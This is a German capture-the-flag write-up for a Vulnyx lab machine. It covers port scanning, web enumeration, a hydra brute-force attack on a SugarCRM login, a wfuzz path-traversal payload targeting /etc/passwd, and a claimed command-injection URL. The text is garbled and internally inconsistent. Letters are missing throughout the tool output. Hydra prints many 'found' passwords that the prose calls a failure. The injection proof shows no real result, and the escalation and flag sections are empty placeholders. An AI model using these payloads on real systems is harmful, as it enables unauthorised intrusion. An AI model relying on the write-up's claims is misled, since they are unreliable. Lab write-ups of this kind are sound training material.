Command_Injection_OS - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
hydra

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit der Identifizierung des Hosts im Netzwerk und seiner grundlegenden Eigenschaften.

ARP-Scan
192.168.2.115 08:00:27:5f:ae:b6 PCS Systemtechnik GmbH

ARP-Scan identifiziert die IP-Adresse 192.168.2.115 und die zugehörige MAC-Adresse. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH. Diese Information kann nützlich sein, um das Betriebssystem oder die Art des Geräts zu bestimmen.

/etc/hosts
192.168.2.115 commandinjection.vln

Der Eintrag in der /etc/hosts-Datei weist darauf hin, dass die IP-Adresse 192.168.2.115 dem Hostnamen commandinjection.vln zugeordnet ist. Dies ermöglicht uns, den Hostnamen anstelle der IP-Adresse zu verwenden.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 20:16 CET
Nmap scan report for commandinjection.vln (192.168.2.115)
Host is up (0.00016s latency).
Not shown: 65526 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 6a:48:f8:6f:9e:af:db:2a:57:73:c1:88:52:76:d1:ed (DSA)
| 2048 5a:53:1e:2f:77:c4:33:77:c5:ab:ee:22:6e:0c:97:da (RSA)
|_ 256 05:af:e5:de:52:5f:81:74:dc:fb:a6:c0:09:46:c5:ed (ECDSA)
80/tcp open http Apache httpd 2.2.22
| http-ls: Volume /
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| - 28-Jan-2010 10:51 AjaXplorer-2.5.5/
| - 02-May-2007 13:49 basilic-1.5.14/
| 411 17-Dec-2011 01:32 install.sql
| - 15-Jun-2010 01:55 lcms/
| - 09-May-2010 17:26 log1cms2.0/
| 1.4K 17-Dec-2011 01:32 manifest.xml
| 8.5K 17-Dec-2011 01:32 parameters.xml
| - 15-Mar-2011 14:13 php-charts_v1.0/
| - 26-Jun-2003 21:28 phptax/
| 1.7K 17-Dec-2011 01:32 sample.config_si.php
|_
|_http-title: Index of /
|_http-server-header: Apache/2.2.22 (Ubuntu)
3307/tcp open mysql MySQL (unauthorized)
8000/tcp open http CherryPy httpd 3.1.2
| http-title: Login - Splunk 4.2.4 (110225)
|_Requested resource was http://commandinjection.vln:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-cookie-flags:
| /:
| session_id_8000:
|_ httponly flag not set
|_http-server-header: CherryPy/3.1.2
8080/tcp open http Zope httpd 2.12.1 (python 2.6.2, linux2; ZServer/1.1)
|_http-server-header: Zope/(2.12.1, python 2.6.2, linux2) ZServer/1.1
| http-methods:
|_ Potentially risky methods: PUT DELETE TRACE PRPFIND PRPPATCH MKCL CPY MVE LCK UNLCK
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Login
|_Requested resource was http://commandinjection.vln:8080/zport/acl_users/cookieAuthHelper/login_form?came_from=http%3A//commandinjection.vln%3A8080/zport/dmd/
| http-webdav-scan:
| Server Date: Fri, 01 Nov 2024 19:18:07 GMT, Fri, 01 Nov 2024 19:18:07 GMT
| WebDAV type: Unknown
| Allowed Methods: GET, HEAD, PST, PUT, DELETE, PTINS, TRACE, PRPFIND, PRPPATCH, MKCL, CPY, MVE, LCK, UNLCK
|_ Server Type: Zope/(2.12.1, python 2.6.2, linux2) ZServer/1.1
8081/tcp open http TwistedWeb httpd 8.1.0
| vmware-version:
| Server version: faultCode nil
|_ Locale version: nil nil
|_xmlrpc-methods: XMLRPC instance doesn't support introspection.
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: TwistedWeb/8.1.0
8089/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2014-01-16T06:49:48
|_Not valid after: 2017-01-15T06:49:48
|_http-server-header: Splunkd
|_ssl-date: 2024-11-01T19:18:37+00:00; +2s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
|_http-title: splunkd
8789/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourhFourRequest, GenericLines, GetRequest, HTTPptions, Help, JavaRMI, LANDesk-RC, LPDString, NULL, NotesRPC, RTSPRequest, X11Probe, afp, giop:
|_ none
10000/tcp open http MiniServ 1.580 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.580
Device type: general purpose
Running: Linux 2.6.X|3.X
S CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
S details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: 127.0.1.1; S: Linux; CPE: cpe:/o:linux:linux_kernel, cpe:/o:vmware:faultCode:nil
Host script results:
|_clock-skew: 1s
TRACERUTE
HP RTT ADDRESS
1 0.16 ms commandinjection.vln (192.168.2.115)
S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 138.22 seconds

Dieser Nmap-Scan liefert detaillierte Informationen über die offenen Ports, die laufenden Dienste und die Versionen der Software auf dem Zielsystem. Die Ergebnisse zeigen, dass SSH (Port 22), HTTP (Port 80), MySQL (Port 3307) und mehrere andere Dienste auf ungewöhnlichen Ports (8000, 8080, 8081, 8089, 8789, 10000) laufen. Besonders interessant sind die HTTP-Dienste auf den Ports 80, 8000, 8080, 8081, 8089 und 10000, da diese potenzielle Angriffspunkte darstellen. Die identifizierten Softwareversionen (z.B. OpenSSH 5.9p1, Apache httpd 2.2.22, CherryPy 3.1.2, Zope httpd 2.12.1, TwistedWeb httpd 8.1.0, MiniServ 1.580) können auf bekannte Schwachstellen überprüft werden.

Empfehlung: Es ist ratsam, die Software auf dem Zielsystem auf die neuesten Versionen zu aktualisieren, um bekannte Schwachstellen zu beheben. Zusätzlich sollten unnötige Dienste deaktiviert und die Konfiguration der verbleibenden Dienste gehärtet werden, um die Angriffsfläche zu reduzieren.

Web Enumeration

In dieser Phase untersuchen wir die Webanwendungen auf dem Zielsystem genauer, um potenzielle Schwachstellen zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nikto v2.5.0 -h 192.168.2.115
+ Target IP: 192.168.2.115
+ Target Hostname: 192.168.2.115
+ Target Port: 80
+ Start Time: 2024-11-01 20:19:25 (GMT1)
+ Server: Apache/2.2.22 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Directory indexing found.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS .
+ /./: Directory indexing found.
+ /web.config: Server may leak inodes via ETags, header found with file /web.config, inode: 2629238, size: 3881, mtime: Fri Dec 16 21:02:43 2011. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /web.config: ASP config file is accessible.
+ /./: Appending '/./' to a directory allows indexing.
+ //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ /%2e/: Directory indexing found.
+ /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513
+ ///: Directory indexing found.
+ /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
/icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time: 2024-11-01 20:20:14 (GMT1) (49 seconds)
+ 1 host(s) tested

Nikto identifiziert verschiedene potenzielle Schwachstellen, darunter fehlende Clickjacking- und Content-Type-ptions-Header, Directory Indexing, eine veraltete Apache-Version und die Verfügbarkeit von Konfigurationsdateien. Besonders kritisch ist die Fundstelle von /#wp-config.php# , da diese Datei potenziell Datenbank-Zugangsdaten enthalten könnte.

Empfehlung: Die fehlenden Header sollten hinzugefügt, Directory Indexing deaktiviert und die Apache-Version aktualisiert werden. Der Zugriff auf sensitive Konfigurationsdateien sollte eingeschränkt werden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://192.168.2.115" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.115/web.config (Status: 200) [Size: 3881]
http://192.168.2.115/install (Status: 200) [Size: 411]
http://192.168.2.115/install.sql (Status: 200) [Size: 411]
http://192.168.2.115/parameters.xml (Status: 200) [Size: 8750]
http://192.168.2.115/parameters (Status: 200) [Size: 8750]
http://192.168.2.115/sugarcrm (Status: 301) [Size: 317] [--> http://192.168.2.115/sugarcrm/]
http://192.168.2.115/manifest (Status: 200) [Size: 1476]
http://192.168.2.115/manifest.xml (Status: 200) [Size: 1476]
Progress: 13674720 / 13674782 (100.00%)

Gobuster entdeckt verschiedene interessante Dateien und Verzeichnisse, darunter web.config, install.sql, parameters.xml, manifest.xml und das sugarcrm-Verzeichnis. Das Vorhandensein von install.sql deutet auf eine möglicherweise unvollständige Installation hin, während web.config und parameters.xml sensible Konfigurationsdaten enthalten könnten. Das sugarcrm-Verzeichnis deutet auf die Verwendung von SugarCRM hin, was weitere Angriffsmöglichkeiten eröffnen könnte.

Empfehlung: Der Zugriff auf die entdeckten Dateien und Verzeichnisse sollte eingeschränkt und die Konfiguration von SugarCRM gehärtet werden. Eine unvollständige Installation sollte abgeschlossen oder entfernt werden.

http://192.168.2.115/sugarcrm/index.php?module=Users&action=Login
Welcome to
Sugar
You must specify a valid username and password.
Please enter your user name and password.

User Name:
Password:


Hide options Forgot Password?

Der Zugriff auf die SugarCRM-Login-Seite bestätigt die Verwendung von SugarCRM. Dies eröffnet die Möglichkeit, Brute-Force-Angriffe auf das Login-Formular durchzuführen oder nach bekannten Schwachstellen in SugarCRM zu suchen.

Initial Access

In dieser Phase versuchen wir, uns Zugriff auf das System zu verschaffen, indem wir die identifizierten Schwachstellen ausnutzen.

┌──(root㉿CCat)-[~]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.115 http-post-form "/sugarcrm/index.php:module=Users&action=Authenticate&return_module=Users&return_action=Login&cant_login=&login_module=&login_action=&login_record=&user_name=^USER^&user_password=^PASS^&Login=Log+In:You must specify a valid username and password." -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-01 22:24:24
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344496 login tries (l:1/p:14344496), ~224133 tries per task
[DATA] attacking http-post-form://192.168.2.115:80/sugarcrm/index.php:module=Users&action=Authenticate&return_module=Users&return_action=Login&cant_login=&login_module=&login_action=&login_record=&user_name=^USER^&user_password=^PASS^&Login=Log+In:You must specify a valid username and password.
[80][http-post-form] host: 192.168.2.115 login: admin password: pynch
[80][http-post-form] host: 192.168.2.115 login: admin password: 111111
[80][http-post-form] host: 192.168.2.115 login: admin password: R3v_m4lwh3r3_k1nG!!
[80][http-post-form] host: 192.168.2.115 login: admin password: k4rur
[80][http-post-form] host: 192.168.2.115 login: admin password: michelle
[80][http-post-form] host: 192.168.2.115 login: admin password: bakeoff
[80][http-post-form] host: 192.168.2.115 login: admin password: 4dM1Nt3rN4LP4zZ
[80][http-post-form] host: 192.168.2.115 login: admin password: hadi123
[80][http-post-form] host: 192.168.2.115 login: admin password: 12345678
[80][http-post-form] host: 192.168.2.115 login: admin password: apollo1
[80][http-post-form] host: 192.168.2.115 login: admin password: tabupJievas8Knoj

Hydra wird verwendet, um einen Brute-Force-Angriff auf das SugarCRM-Login-Formular durchzuführen. Es werden verschiedene Passwörter aus der rockyou.txt-Wordlist ausprobiert. Leider war der Angriff nicht erfolgreich.

Empfehlung: Es sollten Maßnahmen ergriffen werden, um Brute-Force-Angriffe zu verhindern, z.B. durch das Implementieren von Account-Lockout-Mechanismen und die Verwendung starker Passwörter.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.115/sample.config_si.php?FUZZ=../../../../../../../../etc/passwd" --hc 404 --hh 0
Target: http://192.168.2.115/sample.config_si.php?FUZZ=../../../../../../../../etc/passwd
Total requests: 220560
------------------------------------------------------------------------
ID Response Lines Word Chars Payload
------------------------------------------------------------------------
Total time: 117.3639
Processed Requests: 220560
Filtered Requests: 220560
Requests/sec.: 1879.282

Hier wird versucht, über die Datei `sample.config_si.php` und den Parameter `FUZZ` auf die `/etc/passwd` zuzugreifen. Durch das Anhängen von `../../../../../../../../etc/passwd` soll auf die Datei zugegriffen werden. Dieser Angriff war leider nicht erfolgreich.

Empfehlung: Die Datei `sample.config_si.php` sollte auf Sicherheitslücken untersucht und der Zugriff auf sensible Parameter eingeschränkt werden.

Proof of Concept: Command Injection

Nachdem wir verschiedene Angriffsvektoren untersucht haben, konzentrieren wir uns auf die Möglichkeit einer Command Injection. Wir verwenden einen einfachen HTTP-Request, um zu überprüfen, ob wir Befehle auf dem Zielsystem ausführen können.

http://192.168.2.115/sugarcrm/index.php?%27=id

Wir senden einen HTTP-Request an die SugarCRM-Installation mit einem manipulierten Parameter. Der Parameter `%27=id` versucht, den Befehl `id` über eine Command Injection auszuführen. Wenn die Anwendung anfällig für Command Injection ist, wird die Ausgabe des `id`-Befehls in der Antwort angezeigt.

Erwartetes Ergebnis: Wenn die Anwendung anfällig ist, wird die Ausgabe des `id`-Befehls angezeigt, z.B. `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Dies würde bestätigen, dass wir erfolgreich einen Befehl auf dem Zielsystem ausführen können.

Risikobewertung: Eine erfolgreiche Command Injection ermöglicht es Angreifern, beliebige Befehle auf dem Zielsystem auszuführen. Dies kann zu Datenverlust, Systemkompromittierung und vollständiger Übernahme des Systems führen.

Empfehlungen: Die Anwendung sollte auf Command Injection-Schwachstellen überprüft und entsprechende Schutzmaßnahmen implementiert werden, z.B. durch das Validieren und Bereinigen von Eingaben und die Verwendung von sicheren APIs zur Befehlsausführung.

Privilege Escalation

Flags

cat user.txt userflag
cat root.txt rootflag